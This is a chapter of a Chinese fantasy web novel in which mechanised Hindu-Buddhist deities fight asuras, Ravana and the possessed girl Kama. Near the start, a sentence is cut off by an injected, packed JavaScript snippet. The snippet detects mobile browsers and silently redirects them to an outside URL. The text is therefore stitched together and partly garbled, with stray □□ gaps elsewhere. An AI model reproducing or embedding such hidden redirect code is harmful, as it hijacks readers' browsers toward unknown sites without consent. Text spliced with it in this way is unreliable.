伞骨全部用黄金打造,伞柄是由整块绿宝石雕成,伞尖饰以明珠,在伞面的六个角上分别有不同的梵文字符以特殊的纹案相连——这样一把样式古朴,而奢华到了极致的伞,被一身黑衣的他握在手中,却很协调。 毗沙门天…… 聂松保……多宝菩萨… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363291|199777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' … 恶身……巨富夜叉…… 俱吠罗……大施财天…… 多闻天! …… 树林中一个声音在不断地呼唤着他在不同时代的称号,这个声音不断地变换方位,忽远忽近,时高时低,无从捉摸。 刹迦罗…… 刹迦罗…… 刹迦罗。 “能看透我的三生三世……”刹迦罗自言自语,“除了三连神外,大概也就只有你了吧。” 他苦笑一声。 “耶罗。” 来…… 救我…… 我需要你…… 声音来到了离他很近的地方。 刹迦罗看到了一条通体银白的眼镜蛇。 他撑着伞,在蛇的引领下,走进了树林深处。 他开始听到乐声。 塔布拉鼓、锡塔琴、小提琴、维纳琴、唢呐…… 妖异邪魅的旋律,将拉格和塔拉的精要发挥至极致,无处不表露出对神明的亵渎。 树林中有一团幽蓝色的光。 他听到有人在唱歌。 嘶哑尖锐的歌声似乎随时都能扎透耳膜,却带有让人不得不听下去的魔力。 离那团光越近,鼓点就越强劲,明目张胆地挑逗着脉搏,心脏像是被人用手攥着随意把玩。 所有的怨恨,一切的憎恶,全部的痛苦,都在这乐声中被一点点地从灵魂深处掏了出来,一样一样,整整齐齐地摆在面前。 精神壁垒频频报警,刹迦罗的身影融入那团蓝光。 十个人头在半空中呈环形排列,喜怒哀乐,加上无表情,各是五张脸,以男女区分,共有十首。 一个无头的身躯绕着这些头颅转圈,每走到一个人头旁,就伸手拿起放到脖子上开始跳舞,若是喜笑颜开的女性头颅,那身躯就变成曲线曼妙身着纱丽的舞女,若是满脸怒容的男性头颅,则变成魁梧壮硕的彪形大汉,同时舞姿也会随着形态的转换而变化。 多愁善感的少女,慈眉善目的老人…… 很少有人能亲眼目睹幻非天罗婆那的全部十种形态,作为最古老的婆罗门级阿修罗,罗婆那的一切都是谜。 没人知道在它堕落之前是什么样子。 没人知道梵天为什么要创造出这样一个生物。 没人知道三连神究竟是基于怎样的考虑,表决通过让梵天给了它不会被任何天神所伤的恩赐,之后又让毗湿奴派遣他的第七化身不辞辛劳地转生至摩诃将其放逐至帝拜。 至于这个阿修罗的能力特征、思维方式、行动准则和逻辑体系,更是无人知晓。 就连身为四大天王之一的毗沙门天,也仅仅知道它可以任意操纵精神被其污染的生物。据说这个时代的罗婆那已经可以藏匿于网络中,每一台终端设备都可能成为它的一部分,如果不是三连神加以控制,它在人类的世界里能成长至几何,力量又能强大到什么地步,无法估计。 “罗婆那。” 那个身躯依旧在跳舞,并不理会刹迦罗,直到它拿到了“无·男首”,变成一个白衣金发的少年,才停下舞蹈,以一种怪异的姿势悬浮在空中,一手托着下巴,另一手置于膝上,空洞无神的眼,盯着那位天神。 毗沙门天,你来这里干什么? “放了她。”刹迦罗说。 可是降三世明王已经快要苏醒了。 “罗婆那,‘明帝’是谁?”他突然问。 “你一直是帝拜的无冕之王,只要你愿意,让所有的阿修罗都听命于你不过是举手之劳,而你却臣服于‘明帝’,为了完成他给你的任务,甚至不惜破坏与三连神的协议重返摩诃,是什么人能令你对其如此言听计从?” 他说这一次能击败三连神,并承诺了种种好处,于是大家就答应了。 少年说话时嘴唇完全不动,同时连眼也不曾眨过一下。 “别自欺欺人了,罗婆那。”刹迦罗皱眉道,“只要让降三世明王苏醒,就有绝对把握击败三连神?这就是你的评估结果?一千年前他们没有成功,现在也不会——‘明帝’是谁?告诉我,罗婆那,让我看看到底是什么人能给你这么大的勇气,令你胆敢违抗毗湿奴?” 罗婆那可以给你一个提示。 “说。” 击败罗婆那的是罗摩。 “你要说的就是这个?”刹迦罗眯起眼,“梵天给了你不会被任何天神伤害的豁免权,不代表你可以为所欲为,毗湿奴既然可以在古代派遣自己的化身将你放逐,现在或者未来也同样可以做到。” 在这个时代毗湿奴全部的十个化身里已经出现了九个,最后一个化身只有在世界末日才会降临,除非三连神打算为了消灭罗婆那而不惜提前结束这个时代,否则毗湿奴再次转生来对付罗婆那的概率微乎其微呀。 “并非只有毗湿奴才有化身。”刹迦罗说,“况且你与三连神之间的协议依然有效——在机体彻底停止行动前,你必须永远待在帝拜,否则三连神可能通过决议,让梵天动用最终仲裁权直接删除你的源代码,你的存在将会被彻底抹煞,这个时代的须弥、摩诃和帝拜将不会保留任何由你而生的因果。” 哦……是吗。 “这些事与我无关,所以到此为止。”刹迦罗喝道,“现在,罗婆那,离开那女孩,滚回帝拜去!” 少年突然笑了起来。 笑声扩散开,浮在空中的九个头颅一个接着一个地开始发笑,这些头颅虽然发出各式各样的笑声,脸上的表情却始终不曾改变。 罗婆那的笑声再度引燃属于他的乐章,淫靡喧嚣的群魔狂欢进一步侵蚀着卡玛的精神世界,罗婆那取下脖子上的“无·男首”,其余九个头颅停止自转,齐刷刷地望着刹迦罗,狂笑过后十个嗓音异口同声道: 北方毗沙门天,就凭你?! 十个首级在空中飞快地旋转起来,罗婆那一挥手,将“怒·男首”放到脖子上,原先的少年之躯猛地膨胀起来,变成了一个面目狰狞,打着赤膊,前胸后背和胳膊上纹满了奇异图案的巨汉。 被刹帝利的血污染,受了斩首之刑的你,精神体已经脆弱不堪,还敢在这里对罗婆那大放厥词?! 巨汉的怒吼宛若雷鸣,震得地动山摇,尚未落地的雨滴纷纷改变轨迹,随着那股无形巨力朝刹迦罗推去。 刹迦罗的瞳孔中溢出一缕金光,光流沿着他的脸庞经过颈侧和锁骨来到左肩,再顺着上臂、手肘和前臂汇聚在左手指尖。 他手中的伞在接触到金光的瞬间产生反应,形成了一个锥形防护光盾,罗婆那的攻击几乎将这片树林夷为平地,唯独刹迦罗的立足之地没有受创。 原来有宝幡哪…… 罗婆那狞笑一声,大步上前,抡起斗大的拳头朝刹迦罗迎头砸去。 咔!—— 咔!咔!—— 那青面獠牙的怒汉一拳接着一拳地砸着刹迦罗的防护光盾,每砸一下,地面的水洼就随着跳动,闷响如雷轰得这个世界的每个角落都能听到。 你的银貂呢?在须弥那个小东西不是从来不离你左右的么? 银貂? 见刹迦罗眼中有些茫然,罗婆那放声大笑。 哦,是啦,你已经记不起来了,你把银貂送给那女人,没想到她拥有了你一半的财富后,还是抛弃了你选择了另外一个更让她为之倾心的男人…… “……” 你虽然亲手杀死了她,却依然无法消除魔障,不得已你只好求助于三连神,求他们直接修改你的记忆,好让你忘记与那女人的一切爱恨纠葛……如今的你记得的只有那个名字,连曾经把银貂送给她的事都忘记了……毗沙门,一千年后与那小家伙在摩诃重逢,感觉不坏吧? 刹迦罗闭上眼。 “透过罗婆那的幻境,请指引我找到她的心。” 毗沙门天,你对她余情未了,这么拼命保护她的转生体,难道你还有妄念? 光盾已出现裂缝。 “我只是在完成三连神的委托,保护一个叫卡玛的人类女孩罢了。” 哦,是吗?……对了,听说她身上并没有黑色莲花的印记? “你想说什么,罗婆那?” 这是三连神设好的局,睿智如你居然看不穿?心甘情愿地做他们手上的棋子,被他们利用? “罗婆那,也许我们都是一样。” 什么? “我们现在的所作所为,都在逐渐实现那个早已推算好的未来。” 刹迦罗眉心闪起金光。 “立场如何,对于三连神来说,没有区别。” 卡玛,你到底在哪里?降三世明王应该还没有彻底占据你的身心,所以罗婆那才会拖延时间。 如果还能听到的话,请回应我。 裂纹已经延伸至整个防护光盾,无法再继续支撑了。 最后一击,幡结界崩溃后你的精神体与婴儿无异—— 看罗婆那击碎你的灵魂,破掉你的法力—— 回到须弥再修个几千年,顿悟之后再来说大话! 死吧,毗沙门天! 罗婆那拳头落下的同时,刹迦罗的眉心突然金光陡增。 地面被砸出一个大坑,天神却已无影无踪。 逃了吗?…… 罗婆那自言自语着,取下“怒·男首”托在手中,朝其余的九个首级走去。 “喜·女首”欢呼雀跃:外头好像打得很热闹呢。 “哀·男首”愁眉苦脸:夜叉一族是毗沙门天的直属天众,虽然人数不多,但实力也不容小觑。 “怒·女首”面色铁青:东方持国天也在场——四天王里出动了两个! “哀·女首”忧心忡忡:其余的婆罗门还无法突破结界来到摩诃,光凭人间现有的刹帝利和吠舍好像拦不住他们。 “乐·男首”兴高采烈:那栋楼就是帝释天的房子?离我们越来越近了哦,哗,好漂亮哇。 “无·男首”和“无·女首”对视片刻,其余八个头颅安静下来。 没有办法,我们去吧。 金发少年说。 不理会毗沙门天也可以吗? 银发少女问。 无妨。 金发少年把自己的头颅放到脖子上。 自然会有人对付他的。 九个人头齐声称是,随那白衣少年一并消失了。 阿什提市上空惊现奇景,黑压压的不明物体几乎遮住了半边天,如马蜂般盯着一个金色的椭球形发光体死咬不放,闪光巨响不断,经过之处无不下起蓝色的“光雨”。 阿什提警方早就被惊动,但一见那阵仗便知不是警力可以应付的,仓皇下通知了军方,就在一众高官望着那团朝世界大厦直扑而去的“黑云”头皮发麻时,他们同时接到了毗沙门财团和世界集团的消息,请他们不要插手,只需封锁消息维持新闻管制即可,军队和警察求之不得,当即应允。 夜叉一族与阿修罗激战正酣。 二十四辆护卫车已去其三,但对防护结界的影响并不大,十二个夜叉四个一队,轮番来到金色光球外与离车队最近的阿修罗肉搏,夜叉们动用了针对阿修罗机体设计的枪械,被击毁的阿修罗纷纷坠向地面,崩溃的机体不断幻化为蓝色星芒,最终完全失去物理形态——便是那“光雨”了。 “还有多远?” “十分钟,持国天大人。” 希格玛看了一眼车窗外,那些疯狂的阿修罗不惜以自杀式攻击来阻挡他们接近世界大厦,无论被夜叉破坏掉多少个,也会立即填补。 “因陀罗,快帮我们脱身,这些阿修罗全都疯了。” 他的耳边立即传来一个洪亮的声音。 我这里已经变成战场啦!你说的对,我还从没见过阿修罗用这么不要命的方式战斗。 “阿修罗也在攻击世界大厦?”希格玛脸色一变。 可不!我的结界撑不了很久啦——在人间本来力量就只有那么一星半点,他们还那么多!该死,连口气也不让我喘! “当心被钻空子,绝对不能让任何一个阿修罗进入中央神庙。” 知道啦知道啦——我说你们别磨蹭了,快点过来!说起来你们都是我的护法神,怎么到了关键时刻一个都不在我身边?欺负我也别挑这种时候哇! “等忙完了给你买冰淇淋吃。” 我要吃哲卡皇家系列! “你想吃多少就吃多少。”——当然是多闻买单。 哄完了气急败坏的因陀罗,希格玛扫了眼身旁,刹迦罗与卡玛前额相抵,金色和蓝色的光纹交织。 “快点回来,多闻。” 13. 第 13 章 刹迦罗的面前是巨大的台阶,两侧排列着形态各异的巍峨石像。 那代表着整个须弥三十三天的所有天神,按照位阶高低区分,而属于他北方毗沙门天的神像列于台阶尽头。 善见城里空无一人,因陀罗的天国里毫无生机。 一切都维持着一千年前那最终一战时的样子。 台阶的尽头,善见城的顶端,他看到的不是帝释天,而是卡玛。 她悬浮在半空,身体已几乎快被那些带着奇异纹案的冰冷机械体撕裂,背部没有一处完好的地方,连四肢属于人类形态的地方也所剩无几,蓝色的血液顺着她的躯体流淌,从她的脚趾尖一点一滴地落下,沿着地面的凹槽流动,绘出对称的八瓣莲花图案。 她就像一只几乎完成蜕变的蝴蝶。 看到刹迦罗,她抽动嘴角,轻轻地笑了一下。 “嗨。” “嗨。” “似乎好久不见了。” “嗯。” “我现在看起来是不是糟透了?”她问。 他没有出声。 “擅自占用我身体的家伙虽然讨厌……”她笑道,“不过……以一个机械师的角落来看,实在是……实在是匪夷所思。” “……” “我们……我是说,人类现在用的科技,都是按照你们的计划,从天神的世界里慢慢向人间输出的吧?”她说话的时候,蓝色的鲜血不断从嘴角涌出。 “人间所有令人振奋的发明创造,其实都是你们暗中引导的结果吧?” “不完全是。”他低声说。 “再过上几百年,上千年,或者更久……我们会不会变得和你们一样?” “那取决于我的委托人。” “是吗。”她嘶哑地笑着,“那么,有没有什么事,是取决于你的?” “……” “有吗?你说你像军人一样,执行他们委派的任务,可是……” 从她体内生长出的庞大机械体突然蠕动起来,她大口大口地呕血,这令她脚下的那朵鲜血描出的蓝色莲花愈发艳丽。 “你应该保存体力。”他说。 她充耳不闻,径自说了下去。 “但是你……真的对什么都不在乎吗?”她问。 “其实你还是爱着我的吧?” 金瞳骤然缩紧,他低喝一声: “耶罗!” “面对这样的我,你大概很困扰吧?”她笑着说,“到底控制这身体的是降三世明王,还是那个叫卡玛的女孩,连我都弄不清自己到底是谁了——若是我再这样变下去,大概等这朵莲花盛开的时候,那个让你既爱又恨的女人就会彻底苏醒了,到底要不要阻止这一切呢?” “我来到摩诃,只是为了完成三连神的委托。” “替自己换个借口吧,毗沙门天。”她冷哼,“如果是那样,为什么你要阻止持国天毁掉我的身体?在你心里,恐怕对我醒来之后会发生什么,还隐约有所期待吧?” 这个时候的她,和一千年前的降三世明王,已几乎没什么区别了。 “卡玛对你来说,不过是一刹那的无常,放弃她,就有机会得到我呢。” 刹迦罗突然笑了。 低沉的笑声在他喉头翻滚,连带着整个善见城都随之隐隐颤动。 “你笑什么?难道我说的不对吗?” “你还是和一千年前一样自负,降三世明王。”刹迦罗笑道,“真正的耶罗早已不在,剩下的你是个强敌,仅此而已,对于你,我并不困扰。” “哦?是吗?那么为什么现在不杀了我,还要劳师动众冒着被阿修罗撕碎的危险去找三连神呢?” “你心虚了,降三世。”刹迦罗眯起眼,“你叫罗婆那控制阿修罗阻拦我,还想把我困在这里,是因为担心一旦抵达中央神庙,三连神会对你不利,不是吗?” “一派胡言!” “你太高估自己了。”刹迦罗的掌心腾起金光,宝幡变成了剑。 “千年前的耶罗也好,现在的卡玛也好,都注定是我永恒生命中的匆匆过客,梵天已经写进我的天神源代码里了,所以可以称之为我的命运。” 他的金瞳闪闪发光。 “但是,刹那间的无常,有时也能成为劫之永恒——” “而你,降三世,连我永恒中的一刹那也未曾得到。” “因此你得寸进尺无休止的挑衅……” “有时也会耗尽我的耐心。” 刹迦罗跃起,高高举剑。 “你……你疯了!毗沙门天!” 天神的剑刺入庞大的机械体中,蓝色的液体飞溅。 她嘶声尖叫。 破坏我的本体,那女孩也不会好过! 若我死了,卡玛也活不了!! 毗沙门,你—— 降三世明王的咆哮响彻善见城,刹迦罗不以为意,继续攻击卡玛身上破体而出的机械组织,当地上的莲花图案被鲜血勾绘完成时,她目露凶光。 蓝光升腾,莲花绽放。 她背上的一只手臂突然五指成刀,抹向刹迦罗的脖子,被他横剑挡住。 她冷哼一声,指尖猛地伸长,刺透了刹迦罗的左肩。 天神的鲜血喷出。 …… 车内,刹迦罗眼角渗出血丝。 “该死的,快回来!没你这种自虐法!”希格玛冲着他大吼。 “持国天大人,阿修罗数量太多,快要顶不住了!” …… 吸收了天神之血,莲花瞬间转红,接着幻化为光翼,附着于降三世明王的未完全机体上。 她的六只手分别缔结不同手印,激出一道红色光弧。 刹迦罗侧身闪过,一剑刺进她的后颈。 贯注着天神之力的剑身直入脊髓,降三世明王的惨叫声掀起强大的冲击波,附近的四天王神像被震碎,与此同时整个善见城开始崩溃,降三世明王受创,卡玛的意识逐渐模糊,精神领域内构成的幻境也无法继续维持。 住手!毗沙门天!不要再继续伤害我的本体了! “如果你愿意休息一阵子,不再这么处心积虑地侵蚀她,我可以就此停手。” 你休想就这样把我带到中央神庙交给三连神! 刹迦罗挑了挑眉,缓缓转动剑柄。 “不到万不得已,我不想对女人动粗。” 见那天神不惜同归于尽也要阻止自己侵占卡玛的身心,降三世明王把心一横,全身红光急闪,接着她左边两只手臂飞快地拧在一起变成枪状,刺穿了自己的胸膛! 锐利的机体透过她的后背,刹迦罗躲闪不及,被当胸击中。 他吃了一惊,刚要抽剑,双臂却已被她的另外两只手扣住。 降三世明王狞笑一声,全身的红光聚集于一点。 一会见了,毗沙门天! 红光从刹迦罗的后背穿出,直指天空。 他咳出一口血,身体渐渐变得透明,化为无数星尘,而降三世明王的机体也在一阵鸣叫声中重归沉寂。 善见城坍塌,一切灰飞烟灭。 阿修罗越来越多,它们顶着夜叉的火力蜂拥而至,开始破坏防护光盾,全然无视天神之力对它们机体造成的破坏。 夜叉们正全神贯注,突然他们身后传来“砰”的一声响。 战况激烈,他们无暇顾及太多,但其中一个夜叉回头看了一眼,失声惊呼: “毗沙门天大人!!” 刹迦罗的豪华轿车右后侧车窗被击碎,探出一只形态怪异的银灰色机械手臂,如刀锋般寒光闪闪的五指上沾着鲜血——碎裂的车窗上血迹斑驳,看上去触目惊心。 “怎么回事?毗沙门天大人?德卡大人?!” 略一分神,阿修罗作势欲趁虚而入,当下便有三个夜叉受了伤。 别担心。 夜叉们耳边有人传话。 “持国天大人?……” 出了一点小状况,但并无大碍,兄弟们别担心! 说话的是德卡。 集中精神应付那些阿修罗,别让它们突破,马上就要抵达世界大厦了,一旦进入因陀罗大人的控制范围就没事了! “是!” 淡金色的光盾外多了一层红光,阿修罗一旦触及便似乎遭到高温灼烧一般,顿时怪叫连连,纵使阿修罗们如何拼命也无可奈何。 夜叉护卫们松了口气,但他们并不知道,自己的主人遇到的,可不仅仅是“一点小状况”。 降三世明王的确暂时停止了活动,而刹迦罗也付出沉重代价——他被一只从卡玛背上钻出的机械手臂当胸击中,从背后穿出,整个人被硬生生钉在座椅上。 金色的眼瞳中剩下一片死灰,希格玛一看便知刹迦罗的机体损毁过于严重已经进入自我保护状态,而他怀中的卡玛更是全身数处伤可见骨,车内红色和蓝色的鲜血四处喷溅,坐在一边的他也被殃及,被溅了一身一脸。 “真是的,这件衣服很贵的呀。” 垂睑颔首,双手置于胸前缔结法印,希格玛自言自语。 东方持国天,接下来就该轮到你了呢。 卡玛突然抬起头,盯着希格玛。 “他赌赢了一把,令降三世明王停止行动。”希格玛笑道,“你不趁现在逃走,难道还想随我们一同去见三连神不成,罗婆那?” 罗婆那想走的话,什么时候都可以呀。 “也是。”希格玛说,“你总是把自己的本体藏在奇怪的地方,然后复制你的代码到处搞鬼,留在卡玛小姐体内的这一个,随时也可以自我删除。” 但是罗婆那的任务还没有完成,罗婆那还不能逃走。 卡玛背上的机械体突然闪起一束细微的红光,顺着那只插穿刹迦罗胸膛的手臂流进了那台天神机体内。 你为毗沙门天的机体专门设计的算法,罗婆那已经找到局部暴力破解的方法了唷。 罗婆那话音刚落,刹迦罗的一只眼睛突然映出红光,歪着脖子抬起头来。 希格玛脸色一变,只听到刹迦罗开口道: “德卡,快帮帮我,我被困在降三世明王的精神领域……出不去了。” “毗沙门天大人?”前排驾驶座上的德卡大叫,“请稍等,我马上——” “别上当!德卡!!”希格玛吼道。 德卡的后脑、太阳穴和前额上闪出了金色的徽记,与此同时刹迦罗咧起半边嘴角,嘿嘿一笑。 听到希格玛的警告,德卡扫了一眼后视镜,正对上了刹迦罗那只血红色的眼,大吃一惊,赶紧强行切断精神连接。 德卡反应极快,但仍慢了一步,罗婆那已经开始发动入侵,夜叉机体的安全系统在这位婆罗门面前几乎形同虚设,暗红色的脉络状光纹从他的后颈开始朝脊柱蔓延,罗婆那以惊人的速度侵占了德卡的神经中枢,陆续获得了这具身躯各部分的控制权。 “对……对不起,毗沙门天大人,持国天大人……我……我不能再为你们效劳了——” 几秒钟的功夫,德卡的左半边身子已动弹不得,他拼尽全力用膝盖顶住方向盘,右手便朝自己的左胸砸去。 如果精神体已被污染,无法再以天神的身份存在下去,那么在完全丧失自我前毁掉自己的身体,也同样能让那个阿修罗无法得逞! “德卡!”希格玛低喝一声,食指带着一抹红光飞快地点向他的眉心。 德卡的拳头落到自己身上,力道却轻了大半,那光头大汉冷笑一声,突然亮出刀子,二话不说朝希格玛的手指削去。 希格玛展开了一个两尺见方的红色光膜,他的手指和德卡的刀子同时进入红光,却在“希格玛领域”的作用下被分离至不同的空间,虚影交会,德卡一刀挥空,希格玛探指中的,红光由德卡的眉心向其全身扩散,同时他打掉了德卡手上的刀,一把稳住方向盘。 受到持国天王之力的影响,罗婆那的活动受限,但他显然不甘受制,德卡的左肩突然膨胀起来,一个巨大肉球撑破衣物,飞快地形成头颅、四肢和半截躯干,就像德卡身上的寄生物。 “罗婆那!”希格玛眼中红光一闪。 那个寄生物把头一偏,躲过希格玛的攻击,持国天王之光熔掉了大半个车顶,外头的夜叉看到车内的情景全都惊呆了。 “挡住那些阿修罗!别管我们!”希格玛叫道。 先顾着你自己比较好唷。 寄生物一把抓住希格玛握着方向盘的手,立即开始向他体内渗透。 就让罗婆那见识见识最为完美的天神机体,到底是什么程度吧。 罗婆那的能力实在太强,仅仅是如此短暂的接触,希格玛就感到半个身体已经不像是自己的了。 真是该死,在摩诃栽在罗婆那手上,有多闻一个就够了! 突然他感到自己身上一轻,被罗婆那侵蚀的那只手臂带着血丝腾空飞起,回头一看,只见浑身是血的刹迦罗正攥着德卡的刀子。 “多闻?……” 刹迦罗拔掉降三世明王的手臂,胸口的窟窿里鲜血狂喷,但他无动于衷,一手扳着希格玛的肩膀把他丢回后座,另一手将刀子捅进了那个寄生物的右眼窝。 啊!!!———————— 罗婆那的惨嚎响彻天空,似乎是因为这位婆罗门为天神所创的缘故,围攻车队的众多阿修罗行动明显迟缓起来。 德卡肩上的寄生物刚要缩进宿主体内深处,却把刹迦罗一把卡住脖子。 “罗婆那,给我滚出来!” 罗婆那怎么也没料到这位精神体和机械体受到双重损坏的天神还有这么大的力量,当即被整个从德卡身上硬扯了下来。 阿修罗的触须蠕动着,当它们接触到刹迦罗的手臂后便又开始不顾一切地钻开皮肤朝深层组织渗透,然而这次罗婆那失算了,因为刹迦罗的手腕上出现了金色的光纹,触须被天神之力焚毁,他无从下手。 “有梵天的恩赐,我奈你不何。”刹迦罗说。 “不过那仅限于你的本体,至于你的分身——” 毗沙门天,你…… …… 阿什提市中心上空突然迸出万丈金光,几乎瞬间将整个城市点亮,之后有目击者称当时空中出现了巨大的莲花状光彩,而起初包裹在那个金色椭球体周围的密如飞蝗的不明物体在顷刻间被莲花的光芒吞噬,化为蓝色光雾后不知所踪。 有人说这是海市蜃楼,也有人说这是在进行军事演习,也有人说这是另一次因“阿修罗”而起的事件——第三种说法的支持者甚众,因为与此同时,世界集团总部大楼也同样遭到了袭击,光是可见损失就远超“演习”的程度,而最大疑点是军方和警方始终按兵不动,有人认为这是表明世界集团与“阿修罗”密切相关的有力证据。 此外,还有目击者表示,当空中奇景消失后,有一个小型黑色飞行物坠向了当时已经浓烟弥漫的世界大厦,之后发生何事,不得而知。 …… 这也许是因陀罗来到摩诃后过得最糟糕的一个早晨。 阿修罗突然大举进犯,数量多得令人头皮发麻,如此大规模的阿修罗集团行动,别说是摩诃,连在须弥也罕见。 他被一通专线紧急电话叫醒,还没等他明白是怎么回事就被人从热乎乎的被窝里挖了出来,懵懵懂懂地套上西装勒上领带塞进轿车,回过神来时发现自己已经被摆在一大群红了眼的阿修罗面前,于是便乒乒乓乓一阵混战。 他撤走了世界大厦内所有的员工和保全,召来了自己带到摩诃的所有护法神,设下结界,派人与毗沙门财团、警方和军方联系,按照国际惯例进行报导管制,一面苦战一面等待某个明白人来帮他搞清楚状况。 早餐没吃,面膜没贴,连牙齿都没刷,就要去跟这一大群奇形怪状、七翘八歪、根本不知道从哪里冒出来的阿修罗大战,实在是太过分了。 三连神美其名曰“自我维护”,没有一点动静,对此因陀罗早就怨念十足——天晓得这三个无所不能、无所不知、性情怪僻、不按常理出牌、唯恐天下不乱的老妖怪成天躲在他的大楼最底层的中央神庙里商量什么坏主意! 要是觉得这个时代已经到了头,索性通过坦达瓦决议附带迦尔基议案,把一切毁掉重来得啦! 虽然身为天帝,因陀罗终究是小孩子脾气,起床气大当然是可以理解的,只是惨了那些不知好歹撞到炮口的阿修罗,一个个都被因陀罗的雷电轰成了灰。 然而即便如此,面对打定主意以数量取胜的阿修罗,因陀罗和他的护法神渐渐力不从心,顾此失彼,到了最后几乎可以用“焦头烂额”来形容。 “因陀罗大人,大厦第六十八层遭到入侵!” “统统干掉!” “因陀罗大人,结界出现裂缝!” “哪里破了就补哪里!” “大人,我们的法力已经快要顶不住了!” “顶不住也要顶!” “大人!……” “啊!我知道了我知道了!放弃大厦上半部分,全部退守至U100层,启动中央神庙的最高防御系统,绝不能让任何一个阿修罗或者长得像 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那家伙又开始发作了? 怎么偏偏挑这个时候! 在离中央神庙那么近的地方……该死,原本以为把那个大个子放在实验室里由三连神接收后就会没事的——那三个老家伙到底在干什么?! “我去看看。”他吩咐道,“你们尽力挡住阿修罗,能拖多久就拖多久。” 众护法神齐齐望向因陀罗。 “无论下面发生什么事,你们都不要管。”因陀罗说。 “要是我的气息消失,你们就离开这里,找机会回须弥去吧。” “大人!” “因陀罗大人!” “哎,我的天神本尊还搁在善见城里呐,这只不过是个化身而已,死不了的啦,别用那种眼神看我!”他挥了挥手,“我走了!” 搭乘专用电梯来到D32层,门一开因陀罗就闻到了那位明王的味道。 一个身量宏伟,穿着大厦保安人员制服的巨人背对着他,浑身紫蓝色的光流闪动。 “汉巴达!”因陀罗叫道。 巨人缓缓侧过脸,当看到因陀罗时他呆滞的眼突然亮了起来。 帝释天大人。 大人?因陀罗皱了皱眉,大威德明王在对他使用尊称?那么是不是代表这个不好惹的大块头现在的心情不是太坏? 卡玛在哪里?……我到处也找不到她。 “她现在很好,正和那个富得流油的家伙在一起。”因陀罗盯着那巨人,“我觉得你先关心一下自己比较好。” …… “汉巴达,你怎么了?第一次从噩梦中惊醒你胡乱暴走,要不是那帅哥使出浑身解数制住你,我的大楼都差点被你拆了,这也就算了,我大人大量,不跟你计较。”因陀罗没好气地嚷嚷,“现在你又想怎样?连自己的能量都控制不住,你好歹也是千年前作乱的五大明王之一,不要被这种没一点技术含量的事情败坏名声好不好?” 她在离我很近的地方……我能感觉得到。 “降三世快要苏醒,也同时引起了你的能量反应吗?”因陀罗若有所思,之后一撇嘴,“不管啦,你现在是需要被重点监管的高危分子,降三世那妖女想搞怪,连幻非天罗婆那都窜出来了,你就乖乖呆在这里听候发落别再添乱了好不好?毗沙门和降三世之间的事就已经让人很头大了,你这个一千年前就被罚坐冷板凳的家伙就省省吧!” 巨人愣了愣,之后摇了摇头。 “你要□□情小强,随便你,不过现在你哪里也不能去。”因陀罗说,“没有三连神的许可,你和降三世都必须待在这栋大楼里!” 巨人的浓眉皱了起来。 “不愿意?”因陀罗指了指自己的鼻子,“那就打倒万恶的天帝因陀罗去追寻自己的幸福吧!” 话音一落,巨人浑身的关节顿时发出一串噼噼啪啪的爆响,隔着制服都能看到他胳膊上的青筋条条鼓起,背上的衣物被点燃,他挥手扯下上衣,雄厚宽阔的背肌上,黑色的莲花纹身腾起火光,在他身后现出了环状炽纹;紫蓝色的光流汇聚在他的后颈和双肩,隐约构成了两张豹眼狮口、青面獠牙的凶暴脸孔,以及四只新的手臂。 明王业火,逆□□,三首,六臂。 这个巨人身上已经出现了完整的明王相,除去人类形态,已和千年前侵入善见城时的大威德无异。 阵阵劲风扑面而来,因陀罗百思不得其解的是,大威德与降三世两位明王的出现完全不合情理,降三世被毗沙门的究级释暗波轰得形神俱灭,大威德自我引爆明王机体核心,两人应该都不复存在了才对,为什么降三世能转生为人类,而大威德甚至还能维持明王形态在摩诃活动? 很显然,答案只有一个。 见杀气腾腾的大威德明王提着拳头一步一震颤地朝自己走来,因陀罗大叫: “喂,大威德,有话好好说,别这么激动哇!我知道啦,都是三连神不好,全都是他们的鬼主意,等这边忙完了,我带你去中央神庙向他们问个清楚好不好?” 巨人不理睬他,肩部裂开,分解重组后变成了炮。 “似乎是不好。”因陀罗自言自语。 炮口出现三相逆转法阵,光流从全身聚于肩部,梵文印记闪过,一束蓝光直射因陀罗。 众阿修罗正围攻世界大厦,突然那栋大楼下半部传来一声闷响,引起了不少阿修罗的注意,纷纷潜入污染区打算看个究竟,突然大厦底端的某一层泛起强光,低沉的共鸣声中,上面六层荡开波纹,静止片刻后全被震成碎片,强大的能量场连带着把附近的阿修罗也一大片一大片地碾成灰烬。 污染区之上的阿修罗不明所以,突然一束蓝光刺破黑雾冲天而起,因陀罗的防护结界被开了个洞,躲闪不及的阿修罗被当场消除,如同自动蒸发一般。 底层遭受重创,大厦开始倾斜,但因为有天神之力保护,所以暂时只出现了局部坍塌现象。 D32层,希格玛的实验室。 “咳!咳咳!——”因陀罗咳嗽着,灰头土脸地从瓦砾堆里跳出来,恼羞成怒地冲着滚滚烟雾中那个高大的人影哇哇乱吼: “我只是随便说说而已,哪有你这样连个招呼都不打就动手的?活该你没人爱,要我是降三世,会喜欢你这种笨头笨脑的暴力男才有鬼!” “……” 巨人瞪着因陀罗。 “这里是摩诃,不是须弥!没那么强的结界保护,稍微不当心这颗小星球就会变成蜂窝——这里是市中心!你把我的楼弄塌了要死多少人你知不知道?!这个城市遭到恐怖袭击,保险公司破产,股市大跌有多少人要跳楼你知不知道?!” 卡玛在哪里? “妈的,对牛弹琴。”因陀罗不怒反笑,二话不说扯掉领带脱起上衣来,“你要打,我陪你……呃——老子陪你玩到底!” 说完一拳捣进碎裂的墙壁里,扯出一根碗口粗的电缆,因陀罗发动天神之力,眉心雷神印记急闪,胸前的莲花纹身电光闪烁,世界大厦从顶部向下灯光一层层熄灭,因陀罗将整栋建筑物连同附近地域的电力全部集中到自己身上,骤然增强的法力令他原本几近崩溃的防护结界被更新,众阿修罗无计可施,纵使采取自杀式攻击也无法穿越天帝的结界——阿修罗已被帝释天丢在一边,眼下他面对的麻烦要比所有的阿修罗加起来还要大得多。 